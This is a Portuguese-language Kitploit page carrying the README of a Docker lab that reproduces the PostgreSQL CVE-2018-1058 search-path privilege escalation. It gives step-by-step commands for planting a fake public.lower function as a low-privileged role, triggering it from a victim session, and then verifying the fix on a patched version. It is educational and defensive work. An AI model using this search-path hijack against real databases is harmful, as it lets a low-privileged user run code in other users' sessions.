Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-1058 — Demonstração reproduzível baseada em Docker da escalada de privilégio CVE-2018-1058 no PostgreSQL via caminho de busca não controlado, com comparação entre ambientes vulnerável e corrigido. | Kitploit
Ferramentas/GitHubGitHub/ccchme/cve-2018-1058
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHubccchme/cve-2018-1058

CVE-2018-1058

Demonstração reproduzível baseada em Docker da escalada de privilégio CVE-2018-1058 no PostgreSQL via caminho de busca não controlado, com comparação entre ambientes vulnerável e corrigido.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-1058 — Demonstração de Search Path no PostgreSQL

Este repositório contém o relatório final e os artefatos de reprodutibilidade para:

CVE-2018-1058: Escalonamento de Privilégios no PostgreSQL através de Search Path não Controlado

O objetivo é demonstrar a falha de confiança no search path por trás do CVE-2018-1058 usando um ambiente Docker local seguro.

A demonstração não reproduz o caminho de execução histórico exato do pg_dump. Em vez disso, reproduz a mesma causa raiz descrita na orientação do PostgreSQL: um schema gravável por um atacante contém um objeto semelhante, e outra sessão resolve um nome não qualificado para esse objeto.


1. Conteúdo

root@kitploit:~
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
    ├── init.sql
    ├── init_safe.sql
    ├── exploit.sql
    ├── victim_query.sql
    ├── verify_qualify.sql
    └── fix.sql

O relatório final é report.pdf. Ele inclui a análise escrita e as capturas de tela correspondentes às saídas esperadas abaixo.

Nenhum Dockerfile é necessário. O projeto utiliza imagens oficiais do postgres.

As capturas de tela estão embutidas diretamente no report.pdf, portanto não são fornecidas como arquivos de imagem separados.

2. Requisitos

Instale:

  • Docker
  • Docker Compose
  • Cliente psql, opcional mas recomendado

A demonstração utiliza dois contêineres PostgreSQL:

Certifique-se de que as portas 15432 e 15433 estejam livres.

Visão geral da execução rápida

A ordem de execução esperada é:

  1. Iniciar o serviço PostgreSQL 10.2 vulnerável.
  2. Executar exploit.sql como attacker.
  3. Executar victim_query.sql como victim e observar o prefixo CVE-2018-1058 DEMO:.
  4. Executar verify_qualify.sql como victim e observar a saída normal em minúsculas.
  5. Executar fix.sql como postgres.
  6. Reexecutar victim_query.sql e observar a saída normal em minúsculas.
  7. Iniciar o serviço PostgreSQL 10.3 endurecido.
  8. Reexecutar exploit.sql na porta 15433 e observar permission denied for schema public.

3. Iniciar o ambiente vulnerável

root@kitploit:~
docker compose up -d pg_vulnerable
docker compose ps

Resultado esperado: o serviço pg_vulnerable deve estar em execução e mapeado para a porta 15432.

Verifique a versão do PostgreSQL:

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"

Resultado esperado: PostgreSQL 10.2.

4. Inspecionar os papéis do banco de dados

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"

Papéis esperados:

  • postgres
  • attacker
  • victim

O atacante não é um superusuário do PostgreSQL.

5. Executar o exploit

Execute o script do atacante:

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

Saída esperada:

root@kitploit:~
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION

Isso cria:

  • uma tabela inofensiva public.exploit_log;
  • uma função falsa public.lower(varchar).

6. Disparar o comportamento vulnerável como vítima

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

Saída esperada:

root@kitploit:~
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo

Isso mostra que a consulta normal da vítima resolveu lower(...) para a função controlada pelo atacante.

7. Confirmar o efeito colateral

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"

Resultado esperado: pelo menos duas linhas em public.exploit_log, uma para cada linha processada pela consulta da vítima.

8. Mostrar a qualificação defensiva

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql

Saída esperada:

root@kitploit:~
alice demo
bob demo

Isso funciona porque pg_catalog.lower(...) força o PostgreSQL a usar a função embutida.

9. Aplicar a correção no contêiner vulnerável

root@kitploit:~
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql

A saída esperada pode incluir:

root@kitploit:~
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE

Em seguida, reexecute a consulta da vítima:

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

Saída esperada:

root@kitploit:~
alice demo
bob demo

A função controlada pelo atacante desapareceu e a consulta retorna strings normais em minúsculas.

10. Iniciar o ambiente endurecido

root@kitploit:~
docker compose up -d pg_fixed
docker compose ps

Verifique a versão:

root@kitploit:~
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"

Resultado esperado: PostgreSQL 10.3.

11. Verificar que o exploit falha no ambiente endurecido

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

Saída esperada:

root@kitploit:~
ERROR: permission denied for schema public

Isso significa que o atacante não pode criar a função falsa em public, então a cadeia de ataque para antes da resolução de nomes.

12. Limpeza

Para parar os contêineres:

root@kitploit:~
docker compose down

Para remover volumes e redefinir completamente o projeto:

root@kitploit:~
docker compose down -v

13. Notas

Esta demonstração é intencionalmente inofensiva. Ela não rouba dados, acessa arquivos nem executa comandos do sistema operacional.

O exploit usa um prefixo de string visível e uma tabela de log para provar que o PostgreSQL resolveu um nome de função não qualificado para um objeto controlado pelo atacante.

O CVE oficial diz respeito ao pg_dump e a outras aplicações cliente. Este repositório demonstra a mesma falha de confiança no search path em um ambiente de sala de aula seguro e reproduzível.

14. Solução de problemas

Se uma porta já estiver em uso, pare qualquer serviço PostgreSQL local ou altere as portas do host em docker-compose.yml.

Se a saída não corresponder aos resultados esperados, redefina o ambiente com:

root@kitploit:~
docker compose down -v
docker compose up -d pg_vulnerable

Se o psql não estiver instalado localmente, os comandos de inspeção de versão e papéis ainda podem ser executados com docker exec dentro dos contêineres.

Se o exploit falhar no pg_vulnerable, certifique-se de que o banco de dados foi redefinido e que scripts/exploit.sql está sendo executado antes de scripts/fix.sql.

15. Referências

  • Aviso CVE-2018-1058 do PostgreSQL: https://www.postgresql.org/support/security/CVE-2018-1058/
  • Wiki do PostgreSQL, A Guide to CVE-2018-1058: https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path
  • Notas de lançamento do PostgreSQL 10.3: https://www.postgresql.org/docs/release/10.3/
  • NVD CVE-2018-1058: https://nvd.nist.gov/vuln/detail/CVE-2018-1058
  • MITRE CVE-2018-1058: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1058
Baixar ferramenta
ServiçoVersãoNome do contêinerPorta do hostFinalidade
pg_vulnerablePostgreSQL 10.2cve1058_pg_vulnerable15432demonstração vulnerável
pg_fixedPostgreSQL 10.3cve1058_pg_fixed15433comparação corrigida/endurecida